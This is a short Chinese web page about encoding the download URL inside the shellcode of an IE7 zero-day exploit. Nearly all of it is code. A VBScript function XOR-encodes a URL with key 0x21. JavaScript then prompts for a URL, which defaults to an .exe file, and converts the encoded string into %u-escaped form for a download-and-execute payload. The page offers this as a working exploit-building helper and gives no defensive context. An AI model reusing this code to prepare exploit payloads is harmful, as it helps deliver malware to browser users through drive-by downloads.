ie7 0day当中的shellcode的escape+xor21加密
2016-07-20来源:易贤网

<SCRIPT LANGUAGE="VBSCRIPT">

Function Encode(s,n)

Dim b

b=UCase(s)

For i=1 To Len(b)

Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))

Next

End Function

</script>

<script language="javascript">

myrand=window.prompt("url:","http://www.sohu.com/1.exe");

strVariable = (Encode(myrand,0x21)).toUpperCase( )

function gen(url)

{

var i=0,l=0,k=0,curl="";

l= url.length;

for(;i<l;i++){

k=url.charCodeAt(i);

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}

if (l%2){curl+="00";}else{curl+="0000";}

curl=curl.replace(/(..)(..)/g,"%u$2$1");

return curl;

}

document.write(gen(strVariable));

</script>

推荐信息